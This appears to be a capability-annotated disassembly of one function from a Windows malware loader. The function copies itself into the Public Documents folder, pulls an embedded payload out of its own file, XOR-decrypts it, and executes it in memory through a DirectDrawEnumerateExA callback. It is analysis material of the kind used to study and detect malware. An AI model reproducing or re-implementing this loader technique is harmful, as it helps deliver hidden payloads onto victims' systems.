Function at 0x10001010
Capabilities:
Copy file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x51fa4
call fcn.10015240
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x118]
push 0
push eax
call fcn.10002570
add esp, 0xc
lea eax, [ebp - 0x118]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x21c]
push str.C:UsersPublicDocuments_ttd.exe
push eax
call fcn.100013b0
lea eax, [ebp - 0x320]
push str.C:UsersPublicDocumentsLolClientBase.dll
push eax
call fcn.100013b0
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x21c]
add esp, 0x10
push 0
push eax
lea eax, [ebp - 0x118]
push eax
call esi
push 0
lea eax, [ebp - 0x320]
push eax
push str.LolClientBase.dll
call esi
push 0x104
lea eax, [ebp - 0x528]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x528]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
mov esi, eax
lea ecx, [esi + 1]
push ecx
call fcn.100013f4
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x528]
mov dword [ebp - 0x51fa4], ebx
push 0
push 0
push esi
push ebx
push 0xffffffffffffffff
push eax
push 0
push 0
call edi
push 0x1001b930
push ebx
call fcn.10004c63
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10001384
push 2
push 0
push ebx
call fcn.100050b8
push ebx
call fcn.10004b7c
push 0
push 0
push ebx
mov esi, eax
call fcn.100050b8
push esi
call fcn.100013f4
push ebx
push esi
mov edi, eax
push 1
push edi
mov dword [ebp - 0x51f98], edi
call fcn.10006f1a
push ebx
call fcn.10004d9f
lea eax, [esi - 0xf]
mov dword [ebp - 0x14], 0x20f64d7b
add esp, 0x34
mov dword [ebp - 0x10], 0xf1255abd
xor ebx, ebx
mov dword [ebp - 0xc], 0x263edbe
mov dword [ebp - 8], 0xc52bd6f4
mov dword [ebp - 0x51f9c], eax
test eax, eax
jle 0x1000122c
lea eax, [edi + 0x10]
mov dword [ebp - 0x51fa0], eax
nop word [eax + eax]
add eax, ebx
mov edi, 0xc
mov dword [ebp - 0x51f94], eax
lea edx, [eax - 0x10]
lea eax, [ebp - 0x14]
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x10001218
add edx, 4
add eax, 4
sub edi, 4
jae 0x100011a3
xor edi, edi
test esi, esi
jle 0x10001218
cmp esi, 0x10
jb 0x100011f3
mov ecx, dword [ebp - 0x51f98]
lea eax, [esi + ebx]
add ecx, 0xf
add eax, ecx
lea ecx, [ebp - 0x51f8c]
cmp ecx, eax
mov ecx, dword [ebp - 0x51f94]
ja 0x100011e8
lea eax, [ebp + esi - 0x51f8d]
cmp eax, ecx
jae 0x100011f3
push esi
push ecx
lea eax, [ebp - 0x51f8c]
push eax
jmp 0x10001210
mov ecx, dword [ebp - 0x51f98]
lea eax, [edi + ebx]
add ecx, 0x10
lea edx, [ebp - 0x51f8c]
add ecx, eax
add edx, edi
mov eax, esi
sub eax, edi
push eax
push ecx
push edx
call fcn.10002ef0
add esp, 0xc
mov eax, dword [ebp - 0x51fa0]
inc ebx
dec esi
cmp ebx, dword [ebp - 0x51f9c]
jl 0x10001190
lea eax, [ebp - 0x51f8c]
mov esi, 1
sub esi, eax
lea ecx, [ebp - 0x51f8c]
mov ebx, 2
xor edx, edx
sub ebx, eax
mov eax, 3
sub eax, ecx
mov dword [ebp - 0x51fa0], eax
mov eax, 4
mov edi, dword [ebp - 0x51fa0]
sub eax, ecx
mov dword [ebp - 0x51f9c], eax
mov eax, 5
sub eax, ecx
mov dword [ebp - 0x51f94], eax
lea ecx, [ebp - 0x51f8c]
mov eax, edx
add ecx, edx
and eax, 0x80000007
jns 0x1000128b
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx], al
lea eax, [ecx + esi]
and eax, 0x80000007
jns 0x100012a3
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 1], al
lea eax, [ecx + ebx]
and eax, 0x80000007
jns 0x100012bc
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 2], al
lea eax, [ecx + edi]
and eax, 0x80000007
jns 0x100012d5
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 3], al
mov eax, dword [ebp - 0x51f9c]
add eax, ecx
and eax, 0x80000007
jns 0x100012f3
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
xor byte [ecx + 4], al
mov eax, dword [ebp - 0x51f94]
add eax, ecx
and eax, 0x80000007
jns 0x10001311
dec eax
or eax, 0xfffffff8
inc eax
movzx eax, byte [eax + str.your_key]
add edx, 6
xor byte [ecx + 5], al
cmp edx, 0x51a62
jl 0x10001275
push 4
push 0x3000
push 0x51a62
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
lea eax, [ebp - 0x51f8c]
push 0x51a62
push eax
push esi
call fcn.10002ef0
add esp, 0xc
lea eax, [ebp - 0x51f90]
push eax
push 0x10
push 0x51a62
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push esi
call dword [sym.imp.DDRAW.dll_DirectDrawEnumerateExA]
mov edi, dword [ebp - 0x51f98]
push edi
call fcn.100013ef
add esp, 4
push dword [ebp - 0x51fa4]
call fcn.100013ef
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop edi
pop esi
pop ebx
call fcn.100013e1
mov esp, ebp
pop ebp
ret